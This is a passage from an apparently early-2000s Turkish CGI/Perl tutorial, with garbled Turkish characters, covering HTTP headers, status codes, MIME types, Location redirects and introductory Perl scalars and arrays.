Server: Internet Information Server 4.02.06.31
Content-type: text/html
Content-length: 235
CGI / Perl 30
Last-modified: Mon, 12 Jan 2000 02:25:00 GMT

<HTML>
<HEAD>
<TITLE>MERHABA DNYA</TITLE>
<meta http-equiv=\"content-type\" content=\"text/html; charset=ISO-
8859-9\">
<meta http-equiv=\"Content-Type\" content=\"text/html; charset=windows-
1254\">
</HEAD>
<BODY>
<H4>Merhaba Dnya</H4>
</BODY>
</HTML>

///////////////////TASARIM N NOT//////////////
Yukardaki kodda <HTML> diye balayan satrn zerinde bir satr boluk olmas gerekir!
/////////////////NOT BITTI///////////////////////////////
Bu bilgileri yakndan incelersek, balk blm ile gvdeyi birbirinden bir boluun
ayrdn grrz. Bu boluun grevi balk blm ile gvdeyi ayrmak deil, balk
blmnn bittiini Browsera belirtmek iindir. Bu boluun stndeki balk blmnde
birinci satrda durum bal (status header) denilen Server Protokolnn istenen belgeyi
bulup, bulamadn belirten bilgi yer alr. Buradaki rnekte yer alan 200 kodu, belgenin
bulunduunu gsterir.
////////////////KUTU//////////////////
HTTP Stat Kodlar:
Kod Mesaj Anlam
200 OK Aranan belge bulundu ve gnderildi
CGI / Perl 31
204 No Content Belge bulundu, fakat gnderilecek bir ierik yok
(Browserda mevcut grnt deimez)
301 Moved Permamently Aranan belge temelli baka bir adrese aktarld (Yeni
adres Location Header-Yer Bal blmne yazlr)
302 Moved temporarily Aranan belge geici olarak baka bir adrese aktarld
(Yeni adres Location Header-Yer Bal blmne yazlr)
400 Cannot be found Erimek istediiniz dosya bulunamyor
401 Unauthorized Erimek istediiniz belge korunmutur (Browser, kullanc
ad ve parola soran bir pencere aabilir)
403 Forbidden Erimek istediiniz belgeye eriim yasaklanmtr
403.10 Access Forbidden Erimek iin sunduunuz yetki kayd yeterli deil
403.11 Access Forbidden Erimek iin sunduunuz parola deimi
404 Site not found Aradnz site (URL) bulunamyor.
405 Resource not allowed Dosya, yanl adres verdiiniz iin bulunamyor
406 Not acceptable Browsernz istediiniz kayna grnteleme yeteneinde
olmad iin istediiniz dosya gnderilmiyor
410 Does not exist Aradnz dosya temelli bulunamyor
412 Precondition Failed Dosya istemcinin ileri srd nartlara uymad iin
gnderilmiyor.
414 URI Too Long Dosya iin yazlan yol ok uzun
500 Internal server error Dahil Server Hatas olutu
501 Not implemented stediiniz yazlm/media tr bu Serverda
uygulanamyor
502 Bad Gateway Server geit olarak grev yaparken, kendisinden sonraki
bir Serverdan hatal yant ald
//////////////////KUTU BTT///////////////////////////
Durum Balklarn, CGI yoluyla talep ettiimiz bir sayfa veya baka bir dosyann
bulunamamas halinde, ziyaretinin ekranna hata mesaj gnderilmesini nleyecek tarzda
kullanabiliriz. Ayrca ilerde greceimiz gibi, CGI programmz, Servera dorudan bir
CGI / Perl 32
sayfann yerini HTTP Request komutu olarak bildirebilir. imdilik sadece bunu location
(yer) baln kullanarak yapacaz belirtelim.
Peki, bu isteme-sunma ilikisinde CGI programmz nerede yer alyor? Yukarda
Servern Browsern talebini aldnda bir karar verdiini belirttiimiz 2nci maddeyi
hatrlyor musunuz? te o karar srasnda Server, talep edilen kaynan bir CGI program
olduunu grrse, derhal bu program iin bir evre (Environment) hazrlar, ve CGI
programn altracak yardmc program (rnein Perl) arr. CGI program (yani
perl.exe), kendisine verilen evre deikenlerini kullanarak, yine kendisine ulatrlan Perl
Scriptini (betiini) altrr ve elde ettii sonucu Servera verir. Server bu sonucu irdeler ve
elde ettii kty (Outputu, sonucu) Browsera gnderir. Bu sonu Perl programnn
bekledii sonu olabilir; rnein Form bilgisi baaryla ilenebilir. Veya sonu arzu edildii
gibi olmaz; bir hata durumu oluur. Bu kez Browsera hata mesaj iletilir.
Buraya kadar anlattklarmz bir de grsel olarak belirtelim.
<cgi-perl010.tif>
Burada genel bir CGI uygulamasnn ak emasn gryoruz; fakat yle
programlarmz olabilir ki, CGI programnn sonucu doruca istemci Browsera gnderilir.
Kimi zaman, CGI programnn sonucu Servern baka bir kaynaa yneltilmesi (Redirect)
komutu olabilir. CGI program, sz gelimi bir siteye giriini koruyan parola program ise,
Server, istemciden yeni bilgi edinmeye zorlayabilir.
kt Trleri ve Yer
Bu emann son aamas olan ktnn istemci Browsera gnderilmesi, CGI
programcs olarak bizim amzdan ok nem tar; nk u ana kadar geri planda
yaptmz her ey, bu noktada Internet ziyaretimizin huzuruna kacaktr. Yukarda
yazdmz kk Perl rneklerine tekrar bakarsanz, hepsinde una benzeyen bir komut
satr greceksiniz:
pr i nt " Cont ent - Type: t ext / ht ml \ r \ n\ r \ n" ;
Bu satr, Web Servern, CGI programnn sonucunu istemciye gnderebilmek iin
kendi retecei balk (Header) blmne koymas gereken asgar bilgiyi vermektedir.
Server, istemciye, istedii dosyay, belgeyi, kayna veya altrlmasn istedii programn
sonularn bildirirken, belirttiimiz balk blmn yazmak zorundadr; yoksa
gnderilenleri Browsern anlamas ve yorumlamas mmkn olmaz; en azndan bu unsurlar
Browser tarafndan bizim istediimiz tarzda grntlenmeyebilir. Servern istemciye
CGI / Perl 33
gnderecei unsur bir HTML sayfas ise, tasarmc olarak HTML kodumuzun iine hi META
etiketi koymam olsak bile sorun olmaz: Server, balk blmn kendi retebilir. Fakat i
CGI programna geldii zaman, Server kendisini programn yerine koyup, baln tmn
retemez; programdan da en azndan kendi blmne ilikin balk bilgilerini vermesini
ister. Bizim rnek Perl programlarmzda yer verdiimiz Content-Type bilgisi, Server
tarafndan programmzn ktsn (Outputunu) Browsera tantmasna yarar.
CGI programlarmzn Servera bir ok balk bilgisi (st-bilgi) vermesi gerekir; ama
bunlarn asgarsi, ierik tr (Content-Type) veya gnderilecek malzemenin yeri (Location)
bilgisidir. erik tr bilgisi, Browsera kendisine gnderilmekte olan veriyi nasl
yorumlayacan bildirir. Browserlarn genellikle Serverlarn anlayabildii ierik trlerinin
tmn anlayabilirler. Bununla birlikte bugn piyasada birok Server program vardr;
bunlarn hepsi her trl metin veya oklu-ortam (Multimedia) dosyasn tanmazlar. Farkl
Server ve Browser programlar arasnda anlay birlii salamak iin gelitirilmi olan
standarta, MIME (Multimedia Internet Mail Extensions) ad verilir. MIME gerekte HTTP
Serverlar ve Web Browserlar iin deil POP ve SMTP Serverlar ile elektronik mesaj
editrleri arasnda iinde ses, grafik ve grnt (video) bulunan elektronik mesaj
alveriine birlik getirmek zere gelitirilmiti. Fakat Webin hzl geliimi srasnda HTTP
Server ile Web Browser arasnda bir belge yorumlama standard gelitirme ihtiyac
dounca, kullanlmaya hazr MIMEdan yararlanld. Bu standarta gre, Content=Type:
bilgisi tr/alt-tr eklinde yazlr. rnein, CGI programmzn kts Browsera HTML
dosyas olarak gnderiliyorsa, buna ilikin bilgi text/html eklinde yazlr. nk MIMEa
gre HTML dosyas bir dz metin dosyasdr.
/////////////////////KUTU//////////////////////////////
Belli bal MIME tr/alt-tr gruplar
text/plain Dz metin. Server istenen belgenin uzantsndan
trn anlamazsa veya siz CGI programnzda
ktnzn ierik trn belirtmezseniz, Server dz
metni varsaylan ierik tr sayar.
text/html HTML dosyas
text/richtext Rich Text biimi. Bir ok kelime-ilemcisinin ortak
dosya biimidir; bir ok Browser tarafndan
anlalabilir.
CGI / Perl 34
image/gif GIF grafik dosyas. Ortak bir biim olmakla birlikte,
iendii sktrma teknolojisinin kullanm iin bir
firmaya telif hakk bedeli deme zorunluu
getirildiinden bu yana yerini dier biimlere
brakyor. Browserlar tarafndan IMG etiketiyle birlikte
kullanldnda HTML belgesinin paras olarak
grntlenir.
image/jpeg JPEG grafik dosyas. GIFten daha ok renk derinlii
ierebilir. Btn Browserlar tarafndan tannr ve IMG
etiketiyle birlikte kullanlabilir.
image/png PGN grafik dosyas. Internet iin gelitirilmekte olan
grafik biimi. Henz btn Browserlar tarafndan
tannmyor. Bu biimi tanyan Browserlar, IMG
etiketiyle kullanlan PNG dosyasn HTML belgesi iinde
grntleyebilirler.
image/x-xbitmap Bitmap grafik dosyas. (Genellikle dosya adnn
uzatmas .xbm olur.) Grnt, piksel olarak
tanmland iin fazla ayrntl grntler iin elverili
deildir. Btn Browserlar tarafndan tannmaz.
audio/basic 8-bit ulaw sktrma teknii ile retilen ses kayt
dosyas. (Genellikle dosya adnn uzatmas .au olur.)
Btn Browserlar tarafndan tannmaz.
audio/x-wav Microsoft firmasnn gelitirdii Windows sistemi iin
ses kayt dosyas. (Btn Browserlar tarafndan
tannmaz)
video/mpeg MPEG video kayt dosyas. Btn Browserlar
tarafndan tannr.
video/quicktime Apple firmasnn gelitirdii MacOS ve Windows
sistemleri iin video dosyas. Browsen tanmas iin
ek program altrlmas (plug-in) gerekebilir.
video/x-msvideo Microsoft firmasnn gelitirdii Windows sistemi iin
video kayt dosyas. (Genellikle dosya adnn uzatmas
.avi olur.)
CGI / Perl 35
application/octet-stream Server tarafndan tannmayan btn dosya trleri iin
bu iaret tr gnderilir ve bunu gren Browser
kullancy bu dosyay altrmak veya grntlemek
yerine sabit diske kaydetme imkan tanr.
application/postscript Postscript yazc dili ile gnderilen herhangi bir ierik.
application/vnd.ms-excel MS Site Server, Internet Information Server veya
kiisel Web Server programlarnn tand MS Office
yazlm paketindeki Excel programnn dosyas.
Microsoft iletim sistemlerinde alan hemen hemen
btn Web Server programlar tarafndan da
tannmaktadr. (Bu trn alt trleri arasnda
application/vnd.ms-powerpoint ve
application/msword de bulunur. MS firmasnn
Internet Browser program IE tarafndan bu iarek
tr tannr ve ilgili MS yazl altrlarak dosyann
ierii grntlenir; dier browserlar bu ierik trn
sabit diske kaydetmeyi nerirler.
///////////////KUTU BTT//////////////////////
Bir ierik tr satrnda parametre de kullanlabilir. CGI programlarnn bu tr zellik
belirten parametrelere ihtiyac ou zaman olmaz; ama rnein gnderdiiniz HTML
sayfasnn dili burada belirtilebilir.
CGI programlarmzda belirtebileceimiz asgar balk bilgisi (st-bilgi) Location
(yer) de olabilir. CGI programmz kimi zaman ortaya bir belge kartmaz; diyelim ki
mevcut bir baka kaynaa gndermede bulunabilir. Internetteki belge veya dier
grntlenebilir, altrabilir, seslendirebilir, oynatlabilir herhangi bir unsura URI denir.
Uniform Resource Identifier (Tekdze Kaynak Kimliklendirici) kelimelerinin baharfi olan
URI, isim veya adres+isim olabilir.
////////////////KUTU//////////////////
URI trleri
Beli bal URIlerin arasnda URL (Uniform Resource Locator/Tekdze Kaynak Yer-
belirleyici) vardr. Bir dier URI tr ise URN (Uniform Resource Name/Tekdze Kaynak
Ad) saylabilir. Bir baka URI tr olarak, URC (Uniform Resource Citation/Tekdze
CGI / Perl 36
Kaynak Gndermesi) tr vardr. Baka bir deyile Internette herhangi bir kaynan kimlii
(URIsini) belirmek iin yerini (URL), adn (URN) veya ona yaplan bir gndermeyi (URC)
belirtebilirsiniz.
http:, ftp:, gopher: diye balayan Internet kaynak adresi, URLdir.
URNlerin adresleri urn: eklinde balar.
URC tr adreslendirme standardnda ise henz World Wide Web Konsorsiyomu
(w3c.org) iinde grmeler tamamlanmam bulunuyor.
//////////////////////////////////////////KUTU BTT////////////////////
Diyelim ki, bir CGI programnda, Browsera program sonucu olarak kendimiz
print.. komutlaryla bir HTML belgesi oluturmayacaz, fakat mevcut bir HTML belgesini
gndereceiz. rnein istiyoruz ki programmz istemciye merhaba.htm dosyasnn yerini
(Location) bildirmekle yetinsin. Bunu, yle bir Perl programyla yapabiliriz:
#!/usr/local/bin/perl
# dosya-gonder.pl

print Location: /merhaba.htm\n\n;


///////////////////TASARIM N NOT//////////////
Yukardaki kodda print diye balayan satrn stnde ve altnda bir satr boluk olmas
gerekir!
/////////////////NOT BITTI///////////////////////////////
Burada Location balk bilgisini oluturacak satrn altnda da boluk braktmza
dikkat edin: bu Servera bakaca bir balk (Header) bilgisi vermeyeceimizi gsterir. Bu
tek satrlk komutu alan Server, Browsera (sanki Browser bu sayfay istemi gibi) bu
kaynaktaki sayfay gnderir. Kimi zaman kaynak, burada olduu gibi Servern kendi sabit
diskinde bir dizide bulunmayabilir ve tam bir URL olabilir. rnein:
#!/usr/local/bin/perl
# dosya-gonder.pl
CGI / Perl 37

print Location: http://www.webteknikleri.com/\n\n;


///////////////////TASARIM N NOT//////////////
Yukardaki kodda print diye balayan satrn stnde ve altnda bir satr boluk olmas
gerekir!
/////////////////NOT BITTI///////////////////////////////
Bu durumda bizim Server, istemci Browsera 302 yani Dosya baka yere
nakledildi! sonucu ve kendi rettii HTML sayfas iinde Aradnz dosya iin <A HREF=
http://www.webteknikleri.com/> buray</A> tklaynz! gibi bir mesaj gnderir. (Bu HTML
sayfasnn ablonu Serverda bulunur ve Server operatr tarafndan belirlenir. Serverlarda
btn HTTP Stat Kodlar iin kullanlmaya hazr ablon HTML sayfalar bulunur.)
Dier Balklar
Yukarda bir HTTP Servernn Browsera gnderdii tipik bir balk rnei olarak
verdiimiz metinde, tarih ve saat dikkatinizi ekmi olmal. Biimi Serverna gre
deimekle birlikte hemen btn Web Serverlar, balk (Header) bilgisinin iine tarih ve
saat bilgisi de koyarlar. Browser bu bilgiye bakarak, almakta olduu belgenin (varsa) kendi
yedek deposunda (cache, veya Windows sistemlerinde Geici Internet Dosyalar dizini)
saklad srmn m grntleyeceine, yoksa yeni gelen srmn m
grntleyeceine karar verir. rnek:
#!/usr/local/bin/perl
# tarih-saat.pl

print "Content-Type: text/html\r\n\r\n";
print $time = (localtime), \n;


///////////////////TASARIM N NOT//////////////
CGI / Perl 38
Yukardaki kodda print diye balayan satrn stnde ve altnda bir satr boluk olmas
gerekir!
/////////////////NOT BITTI///////////////////////////////
Browsera gndereceimiz balk bilgileri iine Expires baln koyarak, sayfann
cache edilmesini (depolanmasn) nleyebiliriz. Bu durumda Browser, gelmekte olan
belgenin kendi yedek deposunda bir rneini aramaz.
Sonu
Bu blmde, Internette sunucu ile istemcinin, Web Server ile Internet Browser
programnn bulutuu yeri, CGI tandk; Internet ilikisinin iki ucundaki bu varlklarn
etkilemesinin esaslarn grdk; ve bu ilikiyi CGI program yoluyla nasl etkilediimizden
sz ettik. Kk de olsa Perl program yazdk ve Perln nasl iledii hakknda fikir edindik.
Fakat henz bu dil hakknda temel kavramlar bilmiyoruz.
imdi sra, CGIda yolumuzu armayacak kadar Perl renmekte!
CGI / Perl 39
Perln Yap Talar
Sadece bir Web Serverda alacak da olsa CGI programmz yazmakta
kullandmz Perl dili, gl bir dildir. Perl ile ok ey yaplabilir. CGI program yazmak, Perl
ile yapabileceimiz ilerden belki de en basitidir. Perl dil olarak reten bir ok kaynak
bulabilirsiniz. Biz burada Perl sadece CGI programcsnn bilmesi gerektii dzeyde
tanmaya alacaz.
Perl ile program yazmak iin ne byk derleyiciler, ne de Visual Perl Programlama
Aralar yok! Perl program yazarken kullanacamz tek ara, Windows ortamnda Not
Defteri, Macintoshta Simple Text, Linuxta ise CoolEdit olabilir. Perl program yazmak iin
kelime-ilem program kullanrsanz, metinlerinizi dz yaz veya ASCII biiminde
kaydetmelisiniz.
Her program, bir bek veriyi alr ve iler; ortaya bir sonu kartr; veya kartmaz.
Ortaya somut bir sonu kmamas da programn sonucu olabilir. Perl de ileyebilmek iin
nce veriye ihtiya duyor. Biz insanlar veriyi grdmz anda trn de anlarz. Baz
bilgisayar programlama dilleri, bizim gibi, verinin trn, verinin kendisini grnce anlar.
Perle verinin trn belirtmek gerekir. Perln verilerle yapabilecei ilemler (operator)
klasik aritmetik ilemlerdir. Fakat Perl daha bir ok ilem yapabilir. Bunlar ya Perl
gelitirenler tarafndan belirlenmitir (bunlara fonksiyon, ilev denir; ya da fonksiyonlarmz
biz yazarz veya bakalarndan (kitaplk/library denen dosyalar halinde) dn alrz
(bunlara da subrutin denir). Ve btn bunlarn sonunda Perl program ortaya bir sonu
kartr ve bu sonucu kendisini greve arana, yani Web Servera verir.
Bilgisayar programlama uzmanlar, Perl bir okuma ve yazma dili sayarlar. Perl ile
bir veya daha fazla dosya (bilgi, kaynak) okunur; bir sonu kartlr; ve bu sonu bir baka
dosyaya (bilgi deposuna, kaynaa) yazlr. imdi Perln bu okuma-yazma iini nasl
yaptna yakndan bakalm:
Perlde Veri
Veri, Perln zerinde ilem yapt eylerin tmdr. Veriler, rakam, harf veya
iaretlerden ibarettir. Ancak her rakam say deildir; bizim Perle belirtmemiz gereken ilk
ey, ona verdiimiz verinin say m, yoksa rakam bile olsa say-d, alfanmerik bir deer
(hem harf, hem rakam veya sadece harf veya sadece rakam ve dier iaretleri ieren
CGI / Perl 40
karakter dizisi) mi olduunu sylememiz gerekir. Buna dikkat edin. nk Perlde daha
sonra greceimiz herey verileri bu ekilde ikiye blmekten kaynaklanr. imdi 45in say
olmas iin toplanabilir, kartlabilir olmas gerekir. 34 ya olarak, kilo olarak, kilometre
olarak bir anlam tayorsa, saydr. Buna karlk 34, Istanbulun il sra numaras ise say-
d bir rakamdr; buna Perln dilinde String denir. Bir snftaki 20 rencinin ya
rakamlar toplanr, 20ye blnrse ortaya kan rakam, hal saydr: adna snfn ya
ortalamas denir ve bu rakam (doru adyla say) baka istatistik hesaplarda kullanrsanz
size istatistiki denir. Buna karlk 20 ilin il sra numaralar toplanr, 20ye blnrse ortaya
anlamsz bir ey kar; ve bunu grenler size akn gzlerle bakarlar. Saylarla aritmetik
ilemler yaplr. String (karakter dizeleri) ile, rakam bile olsa, aritmetik ilem yaplmaz. Perl
iin, 0dan 255 ASCII deerine kadar herey Stringdir. Bir harf, Perl iin Stringdir; bir
kelime veya bir cmle de String saylr. Perl iin Stringlerin snr yoktur. Buna karlk
saylar, snrldr.
Perle bir rakamn say olduunu belirmek iin ylece yazarsnz; karakter-dizelerini
yani Stringleri ise trnak iinde yazarz. Nasl trnak? Bir dakika.. Oraya geliyoruz.
imdi, bir bilgisayarda 0dan 255 ASCII deerine kadar sralanan karakterlerin
arasnda neler olduunu hatrlayn. Szgelimi ASCII 7 deeri nedir? Bilgisayarn bip sesi
kartmas. Peki 13 deeri nedir? Satr ba. O halde, bunlar da Stringe, karakter-dizesine
dahil midir? Evet. Peki bu deerler de karakter mi saylr? Ona da Evet.
Bu yzden Perlde Stringleri yazarken veya kullanrken tek trnak iine almakla, ift
trnak iine almann fark vardr. Tek trnak iine aldnz Stringin iinde sadece ekranda
grntlenebilen karakterler yer alr. Eer Stringiniz grntlenemeyen karakter
deerlerini ieriyorsa, bu dizeyi mutlaka ift trnak iine almanz gerekir. Stringi ift trnak
iine alrsanz, iine sekme, satr ba veya heksadesimal (16 tabanl) kodlar koyabilirsiniz.
Tek trnak-ift trnak farknn bir dier sonucu ise ift trnak kullanadnz taktirde, Stringin
iine deiken de koyabilirsiniz. Buna, Perl ile metin ilemeyi ele aldmz zaman
dneceiz.
Sabit Deerler, Deikenler
Peki, demek ki Perl iin zerinde ilem yaplabilecek iki tr veri olabilirmi: saylar
ve say-d karakter dizeleri (Stringler).
////////////////SAYFA TASARIMI NOTU////////////////
CGI / Perl 41
Yukardaki son kelime olan Stringler kelimesine dipnot iareti konarak, bu sayfaya
u dipnotun konulmas rica:
String ve dier ngilizce kelimeleri kullanmamak iin ok zen gsterdiimi
belirtmeliyim. niversitelerimizin incelediim ders notlarnda ve dier Trke kaynaklarda
da bu zen gsterilinceye ve mesel bir kere belirttikten sonra bir daha ngilizce terim
yerine ortak Trke bir terim kullanlncaya, yani birlik salanncaya kadar, bireysel abalar,
ancak burada olduu gibi gereksiz tekrarlardan baka bir eye yaramayacaktr.
////////////////////////SAYFA TASARIMI NOTU BTT///////////////////
Perl, iin veriler ister say, ister karakter-dizesi olsun, program boyunca aldklar
durum itibariyle de ikiye ayrlr: Programn bandan sonuna kadar deimeyen sabit veriler
ve belirli durumlarda deienler. Birinci gruba belirli bir say veya karakter-dizesi girer.
Szgelimi, bu kod satrndaki veri sabittir:
pr i nt 3 ker e 3 = 9;
Bir veri program boyunca eitli sebeplerle deiecekse, bu verinin yernini tutmak
zere bir deiken veri tanmlarz. Deiken tanmlamak demek, Perle Kardeim-veya
nasl hitap etmek istiyorsanz, yle-imdi bana bir kap hazrla, bu kaba arpan adn ver;
sonra bir kap daha hazrla ona da arplan adn ver; bir kap daha hazrla ona da sonu
adn ver. Ben bu ilk iki kabn iine bir takm deerler koyup, kartacam. Sana arpann
deerini arplann deeri ile arp, bakalm! dediim anda bu iki kapta o anda ne deer
varsa, onlar birbiri ile arp; elde ettiin sonucu da gtr sonu kabnn iine yaz!
demektir. Bu komutu byle Trke deil de Perlce verdiiniz anda, nurtopu gibi
deikeniniz olur; bunlarn iine ister siz, ister program, isterse komunun olu istedii
deeri koyabilir.
Ve yle bir an gelir ki, Perl programnzda yle bir komut belirir:
$sonuc = $carpan x $carplan;
pr i nt $sonuc;
Bir adm ileri gittik; u dolar iaretlerini bir paragraf boyunca grmezden gelin!
Anlald zere Perlde deiken tanmlamak demek, sadece bir yer amak demektir.
Bunu tiyatrodaki koltuk numaralarna benzetebilirsiniz: C25 numara bir koltua iaret eder;
ama o koltukta bugn siz, yarn bakas oturabilir. Tiyatroda bulunduunuz srece siz C25
numaral koltuu dolduran deersiniz. Eser bittiinde kalkp gideceiniz ve yerinizi bakas
alaca iin, koltuun deeri deiken demektir. Tpk kt eser sahneleyen bir tiyatronun
CGI / Perl 42
C25 numaral koltuunun bo kalm olabilecei gibi Perln deikenlerinin de ii bo
olabilir veya sonradan boalabilir.
Perl, baka diller gibi deiken adlar konusunda ar titiz davranmaz. stediiniz
rakam veya harfi fakat sadece alt izgi (_) iaretini deiken adnda kullanabilirsiniz. Unix
kkenli bir dil olarak gedikli Perlcler sadece kk harf kullanrlar ve byk kullananlara
da iyi gzle bakmazlar! Fakat Perl byk harfle yazacanz deiken adlarna hi itiraz
etmez. Fakat Perl byk harfle kk harfi ayrr. Yani Perl asndan Osman ile osman
iki ayr isimdir. Ayrca Perl iin deiken adlar rakamla balayamaz.
Deiken adnn tanmmayc olmasna dikkat etmek gerekir: kapi_no ad, daima
degisken014 adndan iyidir. Her ikisi de Perl asndan makbul deiken adlardr, ama
ikincisi sadece sizi artmaya ve programnza gereksiz hatalar karmasna sebep olur.
Tekil Deikenler, Listeler, Ekleme, kartma
Peki, yukarda erken davranp yazdmz $ (Dolar) iareti ne anlama geliyor? Bu,
Perle bu bu deikenin trn anlatyor. Veriler, ilendikleri srada bilgisayarn belleinde
bir yere yazlr. Perl, her veriye belirli bir boyutta bellek alan ayrmak zorundadr.
Dolaysyla bir deiken tanmlarken, Perle bu veriye ne kadar yer ayracan belirtebilmek
amacyla, deikenin adnn nne koyduumuz iaretle deikenin iinde ne tr bilgi
olacan da sylemek zorundayz.
Perl iin gerekte bir tr deiken vardr: Scalar. Veya Trke baka kaynaklarda
grebileceiniz yaz ekliyle Skalar. Scale, matematikte, bir cetvel (scale) zerinde bir
nokta demektir; scalar kelimesi, Unix programlama dillerine matematikten gemi bir
terimdir: burada bu kelimeyi tek bana duran, bir nokta, bir adet, tekil gibi anlamak,
Perln veri iskeletini kavramay kolaylatrr. Perlde btn deiken trleri, tekil bir veri
parac denen Scalar deikenden tretilir.
Vildan adl teyzenizi dnn. Tandnz sadece bir teyzeniz var ve onun ad da
Vildan. Yani Teyze = Vildan. Peki, bunu Perl terimleriyle yazalm:
$t eyze = Vi l dan
Benim de bir kardeim var diyelim: Karde = Mustafa. Bunu Perl terimleriyle ifade
edelim:
$kar des = Must af a
CGI / Perl 43
Yani yek bana duran, bir yn veri arasnda tek bana ele aldmz tekil (Scalar)
deikenleri Perle adlarnn nne $ iareti koyarak bildiriyoruz. Bu deikenin iine sadece
karakter-dizesi (String) deil, say da koyabiliriz. Perl, baka diller gibi verilerinin tr
konusunda zorluk kartmaz programcya.
Devam edelim: Sizin Vildan Teyzenizle, benim kardeim Mustafa ve asker arkada
Kudret hep birlikte, Osmann arkadalar ise, bu Osman asndan nasl bir durum arzeder:
Arkadalar = Vildan, Mustafa, Kudret
Peki bunu Perle nasl syleyebiliriz? imdi artk Osmann arkadalar tek bana
deerler deil, bir liste. Bu kelimeye dikkat edin: Liste. Bylece Scalar deikenden listeye
geiyoruz. Liste, veya programclk diliyle Array (Dizilmi deikenler, Dizi), birden fazla
deer ierir. Veya ierebilir; ii bo dizi de olabilir Perlde. Bunu, ngilizce adyla at [et
okunur] iareti (@) ile yazarz:
@ar kadas = ( Vi l dan , Must af a , Kudr et )
Perl, bu ifadeyi grnce, iinde yesi bulunan bir dizi oluturur; adn arkada2
koyduu bu dizinin iine deer yazar: Vildan, Mustafa ve Kudret.
Perl asndan @arkadas dizisinin 1 numaral yesi Vildan mdr, Mustafa mdr?
Perln Cden tretildiini ve Cnin gereinden uzun zaman ayn odada ve bilgisayarya
babaa kalm kiiler tarafndan retildiini sylemi miydik? Evet, bakaca bir aklama
tarz olmayan ekilde, Perl iin 1 numaral ye, Vildan deil, Mustafadr. nk Perl de C
gibi, saymaya 0dan balar. Yani 0 numaral arkadas dizisi yesi Vildandr. Mesela Perle
u komutu versek:
@ar kadas = ( Vi l dan , Must af a , Kudr et ) ;
pr i nt $ar kadas[ 0] ;
Nasl bir sonu alrz? yle:
Vi l dan
Parantezin keli parantez olduuna dikkat edin. Peki print $arkadas[2]; nasl bir
sonu verir:
Kudr et
Burada bir gariplik dikkatinizi ekmiyor mu? Array (Dizi) deikenin adnn nne @
iareti koyduumuz halde, yelerinin adlarn tek tek yazdrrken, neden tek bana duran
deikenler iin kullandmz $ iaretini kullanyoruz! Tabi, sorumuzun cevab sorunun
CGI / Perl 44
iinde var. Dizinin iindeki her bir ye, tek bana ele alnd zaman tekil deiken
demektir, yani Scalar deiken. Tekil (Scalar) deikenlerin iareti ne? Dolar iareti.
Bir dizinin bir yesinin deerini bakan bir deikene almaya, Perl argosunda
Sclalar dilim kartmak denir! Sclalar dilimler, Scalar iaretiyle belirtilir. Sclalar dilimin
deeri, Diziden bamsz Scalar bir deikene verilebilir mi? Evet. Mesel:
$dost = $ar kadas[ 1]
Hatta kelime haznesine kran girdii gibi bir durumla kar karya iseniz, u bile
olabilir:
$ar kadas = $ar kadas[ 1]
Perl, Sclalar arkadas ile bir Dizinin dilimi olan arkadas[1]i ayrt edebilir. Ama bu
elinizle hatay davet etmek olur. (Tekrar: parantezin keli olduuna dikkat.)
Dizinin yesini de deitirmek mmkndr. Osman, arkadas dizisinin birinci yesinin
Vildan teyzesi deil de baka bir kii olmasn isterse, u komutu verebilir:
$ar kadas[ 0] = Tl ay
Bu durumda arkadas dizisinin yeleri yle sralanr: Tlay, Mustafa, Kudret. Peki,
Tlay listenin bana eklemek istiyoruz; fakat Vildan da listede kalsn! Bunu Perln
unshift() fonksiyonu ile yapabiliriz:
unshi f t ( @ar kadas, Tl ay) ;
Bu durumda arkadas dizisi Tlay Vildan Mustafa Kudret eklini alr. Tlay
deerini dizinin bana deil de sonuna eklemek isterseniz, bunu push() fonksiyonu ile
yapabilirsiniz:
push ( @ar kadas, Tul ay) ;
imdi diziniz Vildan Mustafa Kudret Tulay eklini ald.
/////////////////////////////////KUTU/////////////////////
Dizileri saydrmak
Perl isterseniz size bir dizide ka ye bulunduunu syleyebilir; ya da Perl size
sonuncu yenin numarasn syler; siz ona 1 ekleyerek toplam ye saysn kartrsnz:
$#arkadas deikeni, bu dizideki son yesinin sra numarasn verir. rnein:
pr i nt $#ar kadas;
CGI / Perl 45
komutu, 2 saysn grntler. Buna 1 eklediinizde dizinin eleman saysn bulmu
olursunuz. CGI programlarmzda bunu kullanacamz yerler olacak.
//////////////////////KUTU BTT//////////////////////
Bir dizinin btn yelerini grntleyebiliriz:
print @arkada;
komutu ekrana Tlay, Mustafa, Kudret yazdrr.
Diziden ye kartmanz da mmkndr. Bunun iin shift ve pop() fonksiyonlarn
kullanabiliriz. shift birinci, pop sonuncu eleman kartr. Bu iki fonksiyondan
yararlanarak, dizi eleman deeri tekil (Scalar) deikene atayabiliriz. u koda bakn.
@sanatci = (Arif Sa, Gler Duman, Sabahat Akkiraz, Davud Sulari);
$solist = shift(@sanatc);
pr i nt $sol i st ;
Bu kod ekrana hangi ismi getirecektir? Tabi, Arif Sa. Peki, shift() yerine pop()
fonksiyonunu kullanrsak? Davud Sulari. shift() birinci eleman, pop() ise sonuncu
eleman diziden kardr.
/////////////////////////KUTU/////////////////////
zel Deiken: $_
Perln zel bir deikeni vardr: varsaylan deiken (defalut variable) ad verilen
bu deiken, sizin kontrolnzde olmadan, sizin adnza deer tutar. diyelim ki Perle bir
dosyadan metin okutuyorsunuz; okunan her satr bu deikene yazlr. lerde bu deikenin
kendiliinden tuttuu dier ilem sonularn da greceiz. Perl bu deikeni o kadar
benimsemitir ki, bir ok fonksiyona bir argman vermezseniz, Perl fonksiyonu $_ ile icra
eder. rnek:
$_ = Dostu bulmas zor, kaybetmesi kolaydr!;
pr i nt ( ) ;
Bu program ekrana Dostu bulmas zor, kaybetmesi kolaydr! yazdrr.
////////////////////////KUTU BTT//////////////////////
CGI / Perl 46
Splice ve Split
Fakat istiyoruz ki, listenin sadece bana veya sonuna ek yapmayalm; arzu ettiimiz
bir sraya eleman ekleyelim ve kartalm. Perl bunu yapabilir mi? Evet, Perl, aylarca
yerinden kalkmadan bilgisayar programlayanlarn hayatn kolaylatrmak zere gelitirilmi
bir dil olduu iin bu amaca yarayan splice() fonksiyona sahiptir. Kelime anlam
yaptrmak, eklemek olan splice() fonksiyonunun drt argman vardr:
1. Deitirilecek dizinin ad
2. Pozisyon: deiiklie balanacak eleman sra numaras
3. kartlacak eleman says
4. Eklenen elemanlarn deerleri
Bunun rneklerini rakaml bir dizide grrsek, kavramas kolay olur.
@sayi l ar = ( 0, 1, 2, 3, 4, 5, 6, 7, 8, 9) ;
spl i ce ( @sayi l ar , 5, 1, ( Ev ) ) ;
pr i nt @sayi l ar ;
Ekrana u liste gelir:
